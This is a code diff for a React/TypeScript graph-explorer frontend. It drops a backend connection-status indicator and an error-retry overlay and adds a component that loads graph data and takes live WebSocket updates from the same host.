"test:graph-workspace": "node --import tsx --test tests/graphSceneState.display.test.ts tests/temporalLifecycle.test.ts",
|
||||
"test:plugin-registry": "node --import tsx --test tests/pluginRegistry.temporal.test.mjs"
|
||||
"test:graph-workspace": "node --import tsx --test tests/graphSceneState.display.test.ts"
|
||||
},
|
||||
"dependencies": {
|
||||
"@monaco-editor/react": "^4.7.0",
|
||||
|
||||
+13
-37
@@ -67,14 +67,6 @@ type GraphStatsPayload = {
|
||||
edges?: number;
|
||||
};
|
||||
|
||||
type ConnectionStatus = 'checking' | 'online' | 'offline';
|
||||
|
||||
const CONNECTION_STATUS_LABEL: Record<ConnectionStatus, string> = {
|
||||
checking: 'Connecting…',
|
||||
online: 'System Online',
|
||||
offline: 'Backend Unreachable',
|
||||
};
|
||||
|
||||
const queryClient = new QueryClient();
|
||||
|
||||
const PREVIEW_DOTS = Array.from({ length: 42 }, (_, i) => ({
|
||||
@@ -727,34 +719,19 @@ const shellStyles = `
|
||||
align-items: center;
|
||||
gap: 10px;
|
||||
margin-bottom: 24px;
|
||||
--status-color: #4cc38a;
|
||||
--status-shadow-a: 0 0 0 3px rgba(76, 195, 138, 0.22), 0 0 12px rgba(76, 195, 138, 0.5);
|
||||
--status-shadow-b: 0 0 0 5px rgba(76, 195, 138, 0.1), 0 0 20px rgba(76, 195, 138, 0.35);
|
||||
}
|
||||
|
||||
.landing-status-bar[data-status='checking'] {
|
||||
--status-color: #f2b66d;
|
||||
--status-shadow-a: 0 0 0 3px rgba(242, 182, 109, 0.22), 0 0 12px rgba(242, 182, 109, 0.5);
|
||||
--status-shadow-b: 0 0 0 5px rgba(242, 182, 109, 0.1), 0 0 20px rgba(242, 182, 109, 0.35);
|
||||
}
|
||||
|
||||
.landing-status-bar[data-status='offline'] {
|
||||
--status-color: #ff7b72;
|
||||
--status-shadow-a: 0 0 0 3px rgba(255, 123, 114, 0.22), 0 0 12px rgba(255, 123, 114, 0.5);
|
||||
--status-shadow-b: 0 0 0 5px rgba(255, 123, 114, 0.1), 0 0 20px rgba(255, 123, 114, 0.35);
|
||||
}
|
||||
|
||||
.landing-status-dot {
|
||||
width: 8px;
|
||||
height: 8px;
|
||||
border-radius: 999px;
|
||||
background: var(--status-color);
|
||||
box-shadow: var(--status-shadow-a);
|
||||
background: #4cc38a;
|
||||
box-shadow: 0 0 0 3px rgba(76, 195, 138, 0.22), 0 0 12px rgba(76, 195, 138, 0.5);
|
||||
animation: landing-pulse 2.4s ease-in-out infinite;
|
||||
}
|
||||
|
||||
.landing-status-text {
|
||||
color: var(--status-color);
|
||||
color: #4cc38a;
|
||||
font: 700 11px/1 "JetBrains Mono", monospace;
|
||||
letter-spacing: 0.1em;
|
||||
text-transform: uppercase;
|
||||
@@ -1346,8 +1323,8 @@ const shellStyles = `
|
||||
}
|
||||
|
||||
@keyframes landing-pulse {
|
||||
0%, 100% { box-shadow: var(--status-shadow-a); }
|
||||
50% { box-shadow: var(--status-shadow-b); }
|
||||
0%, 100% { box-shadow: 0 0 0 3px rgba(76, 195, 138, 0.22), 0 0 12px rgba(76, 195, 138, 0.5); }
|
||||
50% { box-shadow: 0 0 0 5px rgba(76, 195, 138, 0.1), 0 0 20px rgba(76, 195, 138, 0.35); }
|
||||
}
|
||||
|
||||
.workspace-loading {
|
||||
@@ -1517,10 +1494,10 @@ function WelcomeScreen({
|
||||
onOpenDecisions: () => void;
|
||||
onOpenManage: () => void;
|
||||
}) {
|
||||
const [stats, setStats] = useState<{ nodes: number | null; edges: number | null; status: ConnectionStatus }>({
|
||||
const [stats, setStats] = useState<{ nodes: number | null; edges: number | null; ready: boolean }>({
|
||||
nodes: null,
|
||||
edges: null,
|
||||
status: 'checking',
|
||||
ready: false,
|
||||
});
|
||||
|
||||
useEffect(() => {
|
||||
@@ -1530,32 +1507,31 @@ function WelcomeScreen({
|
||||
.then((response) => (response.ok ? response.json() as Promise<GraphStatsPayload> : null))
|
||||
.then((payload) => {
|
||||
if (!payload) {
|
||||
setStats((current) => ({ ...current, status: 'offline' }));
|
||||
setStats((current) => ({ ...current, ready: false }));
|
||||
return;
|
||||
}
|
||||
|
||||
setStats({
|
||||
nodes: getNumberStat(payload, ['node_count', 'nodeCount', 'nodes']),
|
||||
edges: getNumberStat(payload, ['edge_count', 'edgeCount', 'edges']),
|
||||
status: 'online',
|
||||
ready: true,
|
||||
});
|
||||
})
|
||||
.catch((error: unknown) => {
|
||||
if (error instanceof DOMException && error.name === 'AbortError') {
|
||||
return;
|
||||
}
|
||||
setStats((current) => ({ ...current, status: 'offline' }));
|
||||
setStats((current) => ({ ...current, ready: false }));
|
||||
});
|
||||
|
||||
return () => controller.abort();
|
||||
}, []);
|
||||
|
||||
const isOnline = stats.status === 'online';
|
||||
const metrics: LandingMetric[] = [
|
||||
{ label: 'Knowledge nodes', value: formatMetric(stats.nodes, 'Live'), tone: 'cyan' },
|
||||
{ label: 'Relationships mapped', value: formatMetric(stats.edges, 'Ready'), tone: 'mint' },
|
||||
{ label: 'Graph modes', value: '3', tone: 'amber' },
|
||||
{ label: isOnline ? 'Dataset online' : 'Ready to explore', value: isOnline ? 'Active' : 'Standby', tone: 'rose' },
|
||||
{ label: stats.ready ? 'Dataset online' : 'Ready to explore', value: stats.ready ? 'Active' : 'Standby', tone: 'rose' },
|
||||
];
|
||||
|
||||
const secondaryLaunchers: LandingAction[] = [
|
||||
@@ -1598,9 +1574,9 @@ function WelcomeScreen({
|
||||
{/* ── Hero ── */}
|
||||
<section className="landing-hero">
|
||||
<div className="landing-copy">
|
||||
<div className="landing-status-bar" data-status={stats.status}>
|
||||
<div className="landing-status-bar">
|
||||
<div className="landing-status-dot" />
|
||||
<span className="landing-status-text">{CONNECTION_STATUS_LABEL[stats.status]}</span>
|
||||
<span className="landing-status-text">System Online</span>
|
||||
<div className="landing-status-divider" />
|
||||
<span className="landing-status-version">Semantica v2 · Semantic Intelligence</span>
|
||||
</div>
|
||||
|
||||
@@ -1,5 +1,4 @@
|
||||
import { useEffect, useRef, useState, type CSSProperties } from "react";
|
||||
import { AlertTriangle, RefreshCw } from "lucide-react";
|
||||
|
||||
import { GRAPH_THEME, withAlpha } from "./graphTheme";
|
||||
import { GRAPH_LOAD_STAGE_SEQUENCE, createGraphLoadProgress, getGraphLoadStageLabel } from "./graphLoading";
|
||||
@@ -122,58 +121,6 @@ const LOADING_OVERLAY_CSS = `
|
||||
0% { transform: translateX(-120%); }
|
||||
100% { transform: translateX(360%); }
|
||||
}
|
||||
.graph-stage-loader-card[data-error="true"] {
|
||||
pointer-events: auto;
|
||||
border-color: rgba(255, 123, 114, 0.32);
|
||||
background:
|
||||
radial-gradient(circle at top left, rgba(255, 123, 114, 0.12), transparent 32%),
|
||||
linear-gradient(145deg, rgba(7, 17, 31, 0.96), rgba(24, 14, 18, 0.86));
|
||||
}
|
||||
.graph-stage-loader-error-mark {
|
||||
width: 38px;
|
||||
height: 38px;
|
||||
flex: 0 0 auto;
|
||||
border-radius: 12px;
|
||||
display: grid;
|
||||
place-items: center;
|
||||
color: #ff9e97;
|
||||
background: rgba(255, 123, 114, 0.12);
|
||||
border: 1px solid rgba(255, 123, 114, 0.28);
|
||||
}
|
||||
.graph-stage-loader-error-detail {
|
||||
padding: 10px 12px;
|
||||
border-radius: 10px;
|
||||
background: rgba(0, 0, 0, 0.32);
|
||||
border: 1px solid rgba(255, 123, 114, 0.18);
|
||||
color: #ffb4ae;
|
||||
font-family: "JetBrains Mono", "Fira Code", Consolas, monospace;
|
||||
font-size: 12px;
|
||||
line-height: 1.55;
|
||||
word-break: break-word;
|
||||
}
|
||||
.graph-stage-loader-retry {
|
||||
display: inline-flex;
|
||||
align-items: center;
|
||||
gap: 7px;
|
||||
padding: 9px 16px;
|
||||
border-radius: 8px;
|
||||
font-size: 13px;
|
||||
font-weight: 700;
|
||||
cursor: pointer;
|
||||
border: 1px solid rgba(127, 208, 255, 0.4);
|
||||
background: linear-gradient(135deg, rgba(74, 163, 255, 0.28), rgba(56, 210, 160, 0.16));
|
||||
color: #e8f6ff;
|
||||
transition: 160ms ease;
|
||||
}
|
||||
.graph-stage-loader-retry:hover {
|
||||
border-color: rgba(127, 208, 255, 0.62);
|
||||
background: linear-gradient(135deg, rgba(74, 163, 255, 0.4), rgba(56, 210, 160, 0.24));
|
||||
transform: translateY(-1px);
|
||||
}
|
||||
.graph-stage-loader-retry:focus-visible {
|
||||
outline: 2px solid #7fd0ff;
|
||||
outline-offset: 2px;
|
||||
}
|
||||
`;
|
||||
|
||||
function formatLayoutSource(source: GraphLoadProgress["layoutSource"]) {
|
||||
@@ -223,14 +170,10 @@ export function GraphLoadingOverlay({
|
||||
progress,
|
||||
visible,
|
||||
showGraphBehind,
|
||||
error = null,
|
||||
onRetry,
|
||||
}: {
|
||||
progress: GraphLoadProgress | null;
|
||||
visible: boolean;
|
||||
showGraphBehind: boolean;
|
||||
error?: string | null;
|
||||
onRetry?: () => void;
|
||||
}) {
|
||||
const [renderVisible, setRenderVisible] = useState(visible);
|
||||
const [exiting, setExiting] = useState(false);
|
||||
@@ -283,44 +226,6 @@ export function GraphLoadingOverlay({
|
||||
return null;
|
||||
}
|
||||
|
||||
if (error) {
|
||||
return (
|
||||
<div
|
||||
className="graph-stage-loader"
|
||||
data-exiting={exiting}
|
||||
style={{ background: "linear-gradient(180deg, rgba(1,4,9,0.22), rgba(1,4,9,0.5))" }}
|
||||
>
|
||||
<style>{LOADING_OVERLAY_CSS}</style>
|
||||
<div className="graph-stage-loader-card" data-error="true" role="alert">
|
||||
<div style={{ display: "flex", alignItems: "flex-start", gap: 14, marginBottom: 14 }}>
|
||||
<div className="graph-stage-loader-error-mark" aria-hidden="true">
|
||||
<AlertTriangle size={18} strokeWidth={2.2} />
|
||||
</div>
|
||||
<div style={{ minWidth: 0 }}>
|
||||
<div style={{ color: "#ffffff", fontSize: 20, fontWeight: 700, letterSpacing: "-0.03em", marginBottom: 6 }}>
|
||||
Could not load the graph
|
||||
</div>
|
||||
<div style={{ color: "#8fa8c6", fontSize: 13, lineHeight: 1.5 }}>
|
||||
The Explorer API did not return graph data. Check that the backend is running and reachable, then try again.
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div className="graph-stage-loader-error-detail">{error}</div>
|
||||
|
||||
{onRetry ? (
|
||||
<div style={{ display: "flex", gap: 10, marginTop: 16 }}>
|
||||
<button type="button" className="graph-stage-loader-retry" onClick={onRetry}>
|
||||
<RefreshCw size={14} strokeWidth={2.2} aria-hidden />
|
||||
Retry
|
||||
</button>
|
||||
</div>
|
||||
) : null}
|
||||
</div>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
const activeProgress = progress ?? displayProgress;
|
||||
const isLiveStage = activeProgress.phase === "stabilizing_layout" || activeProgress.showGraphBehind || showGraphBehind;
|
||||
const overlayBackground = isLiveStage
|
||||
|
||||
@@ -0,0 +1,479 @@
|
||||
import { forwardRef, useEffect, useImperativeHandle, useMemo, useRef, useState } from "react";
|
||||
|
||||
import { batchMergeEdges, batchMergeNodes, clearGraph, graph, type EdgeAttributes, type NodeAttributes } from "../../store/graphStore";
|
||||
import { SigmaSceneAdapter } from "./SigmaSceneAdapter";
|
||||
import { createGraphLoadProgress } from "./graphLoading";
|
||||
import { resolveDisplayGraph } from "./graphSceneState";
|
||||
import {
|
||||
chooseColorAccessor,
|
||||
colorForNodeKey,
|
||||
computeDegreeMap,
|
||||
computeEdgeSize,
|
||||
computeNodeSize,
|
||||
computePageRank,
|
||||
deterministicPosition,
|
||||
} from "./graphAnalytics";
|
||||
import { GRAPH_THEME } from "./graphConfig";
|
||||
import type { GraphSceneHandle } from "./scene";
|
||||
import type {
|
||||
GraphDataSnapshot,
|
||||
GraphEffectsState,
|
||||
GraphLayoutSource,
|
||||
GraphLayoutStatus,
|
||||
GraphLoadProgress,
|
||||
GraphPath,
|
||||
GraphSelectedNodeState,
|
||||
GraphStageHandle,
|
||||
GraphViewMode,
|
||||
} from "./types";
|
||||
|
||||
const STAGE_EFFECTS_STATE: GraphEffectsState = {
|
||||
pathPulseEnabled: false,
|
||||
pathFlowEnabled: false,
|
||||
lensEnabled: false,
|
||||
temporalEmphasisEnabled: false,
|
||||
semanticRegionsEnabled: false,
|
||||
contoursEnabled: false,
|
||||
pathfindingEnabled: false,
|
||||
communitiesEnabled: false,
|
||||
centralityEnabled: false,
|
||||
legendEnabled: false,
|
||||
diagnosticsEnabled: false,
|
||||
lensMode: "neighborhood",
|
||||
effectQuality: "bounded",
|
||||
};
|
||||
const EMPTY_PATH: string[] = [];
|
||||
|
||||
const socketProtocol = () => (window.location.protocol === "https:" ? "wss:" : "ws:");
|
||||
|
||||
function yieldToMain(): Promise<void> {
|
||||
if ("scheduler" in window && typeof (window as Window & { scheduler?: { yield?: () => Promise<void> } }).scheduler?.yield === "function") {
|
||||
return (window as Window & { scheduler: { yield: () => Promise<void> } }).scheduler.yield();
|
||||
}
|
||||
return new Promise((resolve) => setTimeout(resolve, 0));
|
||||
}
|
||||
|
||||
function buildSelectedNodeState(nodeId: string): GraphSelectedNodeState | null {
|
||||
if (!nodeId || !graph.hasNode(nodeId)) {
|
||||
return null;
|
||||
}
|
||||
|
||||
const attributes = graph.getNodeAttributes(nodeId) as NodeAttributes;
|
||||
return {
|
||||
id: nodeId,
|
||||
label: String(attributes.label || nodeId),
|
||||
content: String(attributes.content || attributes.label || nodeId),
|
||||
nodeType: attributes.nodeType || "entity",
|
||||
color: attributes.color,
|
||||
valid_from: attributes.valid_from ?? null,
|
||||
valid_until: attributes.valid_until ?? null,
|
||||
properties: attributes.properties ?? {},
|
||||
neighborCount: graph.neighbors(nodeId).length,
|
||||
visibleNeighborCount: graph.neighbors(nodeId).length,
|
||||
collapsedNeighborCount: 0,
|
||||
isNeighborhoodCollapsed: false,
|
||||
canCollapseNeighborhood: graph.neighbors(nodeId).length > 8,
|
||||
};
|
||||
}
|
||||
|
||||
function hasUsableCoordinate(value: unknown): value is number {
|
||||
return typeof value === "number" && Number.isFinite(value);
|
||||
}
|
||||
|
||||
interface GraphRuntimeStageProps {
|
||||
snapshot: GraphDataSnapshot | null | undefined;
|
||||
selectedNodeId: string;
|
||||
activePath: GraphPath;
|
||||
onNodeSelect: (nodeId: string) => void;
|
||||
onSelectedNodeStateChange: (state: GraphSelectedNodeState | null) => void;
|
||||
isLayoutRunning: boolean;
|
||||
onLayoutRunningChange: (running: boolean) => void;
|
||||
viewMode: GraphViewMode;
|
||||
temporalTime: Date | null;
|
||||
onActiveNodeCountChange: (count: number | null) => void;
|
||||
onProgressChange: (progress: GraphLoadProgress | null) => void;
|
||||
onLayoutStatusChange: (status: GraphLayoutStatus) => void;
|
||||
onRuntimeReady: () => void;
|
||||
}
|
||||
|
||||
export const GraphRuntimeStage = forwardRef<GraphStageHandle, GraphRuntimeStageProps>(
|
||||
function GraphRuntimeStage(
|
||||
{
|
||||
snapshot,
|
||||
selectedNodeId,
|
||||
activePath,
|
||||
onNodeSelect,
|
||||
onSelectedNodeStateChange,
|
||||
isLayoutRunning,
|
||||
onLayoutRunningChange,
|
||||
viewMode,
|
||||
temporalTime,
|
||||
onActiveNodeCountChange,
|
||||
onProgressChange,
|
||||
onLayoutStatusChange,
|
||||
onRuntimeReady,
|
||||
},
|
||||
ref,
|
||||
) {
|
||||
const sceneRef = useRef<GraphSceneHandle>(null);
|
||||
const prevActiveIdsRef = useRef<Set<string>>(new Set());
|
||||
const [graphVersion, setGraphVersion] = useState(0);
|
||||
const [runtimeLayoutSource, setRuntimeLayoutSource] = useState<GraphLayoutSource>(snapshot?.summary.layoutSource ?? "runtime");
|
||||
const displayResult = useMemo(
|
||||
() => resolveDisplayGraph(selectedNodeId, activePath, EMPTY_PATH, viewMode, { aggregationEnabled: true }),
|
||||
[activePath, graphVersion, selectedNodeId, viewMode],
|
||||
);
|
||||
|
||||
const stageSignature = useMemo(() => (snapshot ? `${snapshot.fetchedAt}:${snapshot.summary.nodeCount}:${snapshot.summary.edgeCount}` : null), [snapshot]);
|
||||
|
||||
useImperativeHandle(ref, () => ({
|
||||
fitView: () => sceneRef.current?.fitView(),
|
||||
focusNode: (nodeId: string) => sceneRef.current?.focusNode(nodeId),
|
||||
}), []);
|
||||
|
||||
useEffect(() => {
|
||||
let cancelled = false;
|
||||
|
||||
async function hydrateSnapshot() {
|
||||
if (!snapshot) {
|
||||
return;
|
||||
}
|
||||
|
||||
onProgressChange(createGraphLoadProgress({
|
||||
phase: "computing_styling",
|
||||
progressKind: "indeterminate",
|
||||
nodesLoaded: snapshot.summary.nodeCount,
|
||||
nodesTotal: snapshot.summary.nodeCount,
|
||||
edgesLoaded: snapshot.summary.edgeCount,
|
||||
edgesTotal: snapshot.summary.edgeCount,
|
||||
message: "Computing runtime graph styling",
|
||||
showGraphBehind: false,
|
||||
}));
|
||||
|
||||
const degreeByNode = computeDegreeMap(snapshot.nodes, snapshot.edges);
|
||||
const pageRankByNode = computePageRank(snapshot.nodes, snapshot.edges);
|
||||
const nodeIndexById = new Map(snapshot.nodes.map((node, index) => [node.id, index]));
|
||||
const previousPositions = new Map<string, { x: number; y: number }>();
|
||||
|
||||
graph.forEachNode((nodeId, attributes) => {
|
||||
const raw = attributes as Partial<NodeAttributes>;
|
||||
const x = Number(raw.x);
|
||||
const y = Number(raw.y);
|
||||
if (Number.isFinite(x) && Number.isFinite(y)) {
|
||||
previousPositions.set(nodeId, { x, y });
|
||||
}
|
||||
});
|
||||
|
||||
let explicitCoordinateCount = 0;
|
||||
let carriedCoordinateCount = 0;
|
||||
const draftAttributes = snapshot.nodes.map((node) => {
|
||||
const previousPosition = previousPositions.get(node.id);
|
||||
const position = hasUsableCoordinate(node.x) && hasUsableCoordinate(node.y)
|
||||
? { x: node.x, y: node.y }
|
||||
: previousPosition
|
||||
? previousPosition
|
||||
: deterministicPosition(node.id, nodeIndexById.get(node.id) ?? 0, snapshot.nodes.length);
|
||||
|
||||
if (hasUsableCoordinate(node.x) && hasUsableCoordinate(node.y)) {
|
||||
explicitCoordinateCount += 1;
|
||||
} else if (previousPosition) {
|
||||
carriedCoordinateCount += 1;
|
||||
}
|
||||
|
||||
return {
|
||||
id: node.id,
|
||||
attributes: {
|
||||
label: node.content || node.id,
|
||||
x: position.x,
|
||||
y: position.y,
|
||||
nodeType: node.type,
|
||||
content: node.content,
|
||||
valid_from: node.valid_from,
|
||||
valid_until: node.valid_until,
|
||||
properties: node.properties,
|
||||
} as NodeAttributes,
|
||||
};
|
||||
});
|
||||
|
||||
const layoutSource: GraphLayoutSource = explicitCoordinateCount > 0
|
||||
? "provided"
|
||||
: carriedCoordinateCount > 0
|
||||
? "carried"
|
||||
: "runtime";
|
||||
const hasCoordinates = explicitCoordinateCount > 0 || carriedCoordinateCount > 0;
|
||||
setRuntimeLayoutSource(layoutSource);
|
||||
|
||||
const colorAccessor = chooseColorAccessor(draftAttributes);
|
||||
await yieldToMain();
|
||||
if (cancelled) {
|
||||
return;
|
||||
}
|
||||
|
||||
onProgressChange(createGraphLoadProgress({
|
||||
phase: "hydrating_scene",
|
||||
progressKind: "indeterminate",
|
||||
nodesLoaded: snapshot.summary.nodeCount,
|
||||
nodesTotal: snapshot.summary.nodeCount,
|
||||
edgesLoaded: snapshot.summary.edgeCount,
|
||||
edgesTotal: snapshot.summary.edgeCount,
|
||||
message: "Hydrating graph scene and renderer",
|
||||
showGraphBehind: false,
|
||||
}));
|
||||
|
||||
const nodesToMerge = draftAttributes.map(({ id, attributes }) => {
|
||||
const colorKey = colorAccessor(id, attributes);
|
||||
const baseColor = colorForNodeKey(colorKey);
|
||||
const dynamicSize = computeNodeSize(id, degreeByNode, pageRankByNode);
|
||||
return {
|
||||
id,
|
||||
attributes: {
|
||||
...attributes,
|
||||
color: baseColor,
|
||||
baseColor,
|
||||
size: dynamicSize,
|
||||
baseSize: dynamicSize,
|
||||
degree: degreeByNode.get(id) ?? 0,
|
||||
pageRank: pageRankByNode.get(id) ?? 0,
|
||||
glowColor: baseColor,
|
||||
borderColor: GRAPH_THEME.nodes.border,
|
||||
borderSize: 1,
|
||||
} as NodeAttributes,
|
||||
};
|
||||
});
|
||||
|
||||
const edgesToMerge = snapshot.edges.map((edge) => ({
|
||||
id: edge.id,
|
||||
familyId: edge.familyId,
|
||||
source: edge.source,
|
||||
target: edge.target,
|
||||
attributes: {
|
||||
edgeId: edge.id,
|
||||
familyId: edge.familyId,
|
||||
sourceId: edge.source,
|
||||
targetId: edge.target,
|
||||
weight: edge.weight,
|
||||
edgeType: edge.type,
|
||||
properties: edge.properties,
|
||||
size: computeEdgeSize(edge.weight),
|
||||
baseSize: computeEdgeSize(edge.weight),
|
||||
color: GRAPH_THEME.edges.baseColor,
|
||||
baseColor: GRAPH_THEME.edges.baseColor,
|
||||
} as EdgeAttributes,
|
||||
}));
|
||||
|
||||
clearGraph();
|
||||
batchMergeNodes(nodesToMerge);
|
||||
batchMergeEdges(edgesToMerge);
|
||||
prevActiveIdsRef.current = new Set(snapshot.nodes.map((node) => node.id));
|
||||
|
||||
await yieldToMain();
|
||||
if (cancelled) {
|
||||
return;
|
||||
}
|
||||
|
||||
onLayoutStatusChange({
|
||||
state: layoutSource === "runtime" ? "bootstrapping" : "interactive",
|
||||
source: layoutSource,
|
||||
hasCoordinates,
|
||||
layoutReady: layoutSource !== "runtime",
|
||||
displacement: null,
|
||||
elapsedMs: 0,
|
||||
stableSamples: 0,
|
||||
});
|
||||
|
||||
onLayoutRunningChange(layoutSource === "runtime");
|
||||
if (selectedNodeId) {
|
||||
sceneRef.current?.focusNode(selectedNodeId);
|
||||
} else {
|
||||
sceneRef.current?.getRuntime()?.requestRender();
|
||||
}
|
||||
setGraphVersion((current) => current + 1);
|
||||
if (layoutSource !== "runtime") {
|
||||
onProgressChange(null);
|
||||
} else {
|
||||
onProgressChange(createGraphLoadProgress({
|
||||
phase: "stabilizing_layout",
|
||||
progressKind: "indeterminate",
|
||||
nodesLoaded: snapshot.summary.nodeCount,
|
||||
nodesTotal: snapshot.summary.nodeCount,
|
||||
edgesLoaded: snapshot.summary.edgeCount,
|
||||
edgesTotal: snapshot.summary.edgeCount,
|
||||
message: "Settling runtime layout",
|
||||
showGraphBehind: true,
|
||||
layoutSource,
|
||||
layoutState: "bootstrapping",
|
||||
}));
|
||||
}
|
||||
onRuntimeReady();
|
||||
}
|
||||
|
||||
void hydrateSnapshot();
|
||||
return () => {
|
||||
cancelled = true;
|
||||
};
|
||||
}, [onLayoutRunningChange, onLayoutStatusChange, onProgressChange, onRuntimeReady, selectedNodeId, snapshot, stageSignature]);
|
||||
|
||||
useEffect(() => {
|
||||
if (!selectedNodeId) {
|
||||
onSelectedNodeStateChange(null);
|
||||
return;
|
||||
}
|
||||
|
||||
onSelectedNodeStateChange(buildSelectedNodeState(selectedNodeId));
|
||||
}, [graphVersion, onSelectedNodeStateChange, selectedNodeId, viewMode]);
|
||||
|
||||
useEffect(() => {
|
||||
if (!snapshot || !temporalTime) {
|
||||
return;
|
||||
}
|
||||
|
||||
let cancelled = false;
|
||||
|
||||
const applySnapshot = async () => {
|
||||
try {
|
||||
const response = await fetch(`/api/temporal/snapshot?at=${encodeURIComponent(temporalTime.toISOString())}`);
|
||||
if (!response.ok || cancelled) {
|
||||
return;
|
||||
}
|
||||
|
||||
const data: { active_node_ids: string[]; active_node_count: number } = await response.json();
|
||||
if (cancelled) {
|
||||
return;
|
||||
}
|
||||
|
||||
const nextActiveIds = new Set(data.active_node_ids);
|
||||
requestAnimationFrame(() => {
|
||||
if (cancelled) {
|
||||
return;
|
||||
}
|
||||
|
||||
const previous = prevActiveIdsRef.current;
|
||||
previous.forEach((id) => {
|
||||
if (!nextActiveIds.has(id) && graph.hasNode(id)) {
|
||||
graph.setNodeAttribute(id, "hidden", true);
|
||||
}
|
||||
});
|
||||
nextActiveIds.forEach((id) => {
|
||||
if (graph.hasNode(id)) {
|
||||
graph.setNodeAttribute(id, "hidden", false);
|
||||
}
|
||||
});
|
||||
|
||||
prevActiveIdsRef.current = nextActiveIds;
|
||||
onActiveNodeCountChange(data.active_node_count);
|
||||
sceneRef.current?.getRuntime()?.requestRender();
|
||||
});
|
||||
} catch (error) {
|
||||
if (!cancelled) {
|
||||
console.error("[GraphRuntimeStage] temporal snapshot failed", error);
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
void applySnapshot();
|
||||
return () => {
|
||||
cancelled = true;
|
||||
};
|
||||
}, [onActiveNodeCountChange, snapshot, temporalTime]);
|
||||
|
||||
useEffect(() => {
|
||||
const socket = new WebSocket(`${socketProtocol()}//${window.location.host}/ws/graph-updates`);
|
||||
|
||||
socket.onmessage = (event) => {
|
||||
try {
|
||||
const message = JSON.parse(event.data);
|
||||
if (message.event === "connection_ack" || message.event !== "graph_mutation") {
|
||||
return;
|
||||
}
|
||||
|
||||
const eventType = message.data?.event_type;
|
||||
const payload = message.data?.payload;
|
||||
if (eventType === "ADD_NODE" && payload?.id) {
|
||||
batchMergeNodes([
|
||||
{
|
||||
id: payload.id,
|
||||
attributes: {
|
||||
label: payload.properties?.content || payload.id,
|
||||
x: Number.isFinite(Number(payload.x ?? payload.properties?.x))
|
||||
? Number(payload.x ?? payload.properties?.x)
|
||||
: deterministicPosition(payload.id, graph.order + 1, Math.max(graph.order + 1, 1)).x,
|
||||
y: Number.isFinite(Number(payload.y ?? payload.properties?.y))
|
||||
? Number(payload.y ?? payload.properties?.y)
|
||||
: deterministicPosition(payload.id, graph.order + 1, Math.max(graph.order + 1, 1)).y,
|
||||
nodeType: payload.type,
|
||||
content: payload.properties?.content || payload.id,
|
||||
valid_from: payload.properties?.valid_from ?? null,
|
||||
valid_until: payload.properties?.valid_until ?? null,
|
||||
properties: payload.properties || {},
|
||||
size: 8,
|
||||
color: colorForNodeKey(`${payload.type || "entity"}:${payload.id}`),
|
||||
baseColor: colorForNodeKey(`${payload.type || "entity"}:${payload.id}`),
|
||||
baseSize: 8,
|
||||
glowColor: colorForNodeKey(`${payload.type || "entity"}:${payload.id}`),
|
||||
borderColor: GRAPH_THEME.nodes.border,
|
||||
borderSize: 1,
|
||||
},
|
||||
},
|
||||
]);
|
||||
}
|
||||
|
||||
if (eventType === "ADD_EDGE" && payload?.source_id && payload?.target_id) {
|
||||
batchMergeEdges([
|
||||
{
|
||||
id: String(payload.id),
|
||||
familyId: payload.familyId ? String(payload.familyId) : String(payload.id),
|
||||
source: payload.source_id,
|
||||
target: payload.target_id,
|
||||
attributes: {
|
||||
edgeId: String(payload.id),
|
||||
familyId: payload.familyId ? String(payload.familyId) : String(payload.id),
|
||||
sourceId: payload.source_id,
|
||||
targetId: payload.target_id,
|
||||
weight: Number(payload.weight ?? 1),
|
||||
edgeType: payload.type,
|
||||
properties: payload.properties || {},
|
||||
size: computeEdgeSize(Number(payload.weight ?? 1)),
|
||||
baseSize: computeEdgeSize(Number(payload.weight ?? 1)),
|
||||
color: payload.properties?.inferred ? GRAPH_THEME.edges.pathColor : GRAPH_THEME.edges.baseColor,
|
||||
baseColor: GRAPH_THEME.edges.baseColor,
|
||||
},
|
||||
},
|
||||
]);
|
||||
}
|
||||
|
||||
sceneRef.current?.getRuntime()?.requestRender();
|
||||
setGraphVersion((current) => current + 1);
|
||||
} catch (error) {
|
||||
console.error("[GraphRuntimeStage] websocket update failed", error);
|
||||
}
|
||||
};
|
||||
|
||||
return () => {
|
||||
socket.close();
|
||||
};
|
||||
}, []);
|
||||
|
||||
return (
|
||||
<SigmaSceneAdapter
|
||||
ref={sceneRef}
|
||||
onNodeSelect={onNodeSelect}
|
||||
graphVersion={graphVersion}
|
||||
graphReady={Boolean(snapshot)}
|
||||
displayGraph={displayResult.graph}
|
||||
displayMeta={displayResult.meta}
|
||||
displayState={displayResult.state}
|
||||
selectedEdgeId=""
|
||||
selectedNodeId={selectedNodeId}
|
||||
focusedNodeId={viewMode === "focused" ? selectedNodeId : ""}
|
||||
activePath={activePath}
|
||||
activePathEdgeIds={EMPTY_PATH}
|
||||
effectsState={STAGE_EFFECTS_STATE}
|
||||
isLayoutRunning={isLayoutRunning}
|
||||
onLayoutRunningChange={onLayoutRunningChange}
|
||||
layoutSource={runtimeLayoutSource}
|
||||
onLayoutStatusChange={onLayoutStatusChange}
|
||||
viewMode={viewMode}
|
||||
/>
|
||||
);
|
||||
},
|
||||
);
|
||||
@@ -1,4 +1,4 @@
|
||||
import { useCallback, useEffect, useId, useMemo, useRef, useState, type ComponentType, type ReactNode } from "react";
|
||||
import { useCallback, useEffect, useMemo, useRef, useState, type ComponentType, type ReactNode } from "react";
|
||||
import {
|
||||
Activity,
|
||||
Clock3,
|
||||
@@ -12,7 +12,6 @@ import {
|
||||
RefreshCw,
|
||||
Search,
|
||||
Users,
|
||||
X,
|
||||
ZoomIn,
|
||||
ZoomOut,
|
||||
} from "lucide-react";
|
||||
@@ -39,8 +38,6 @@ import {
|
||||
type GraphPluginPanelDescriptor,
|
||||
type GraphPluginToolbarItem,
|
||||
} from "./plugins";
|
||||
import { explorationEffectsShouldLoad, neighborhoodPanelShouldLoad, temporalOverlayShouldLoad } from "./pluginRegistryPredicates";
|
||||
import { shouldFetchTemporalBounds, shouldFetchTemporalSnapshot } from "./temporalLifecyclePredicates";
|
||||
import type { LinkPrediction, PathResponse } from "./GraphInspectorPanel";
|
||||
import type { GraphSceneHandle, GraphSceneRuntime } from "./scene";
|
||||
import type {
|
||||
@@ -129,7 +126,7 @@ type LazyPluginRegistryEntry = {
|
||||
load: () => Promise<GraphPlugin>;
|
||||
shouldLoad: (context: {
|
||||
panelState: Record<string, boolean>;
|
||||
temporalState?: GraphTemporalState | null;
|
||||
temporalState: GraphTemporalState | null;
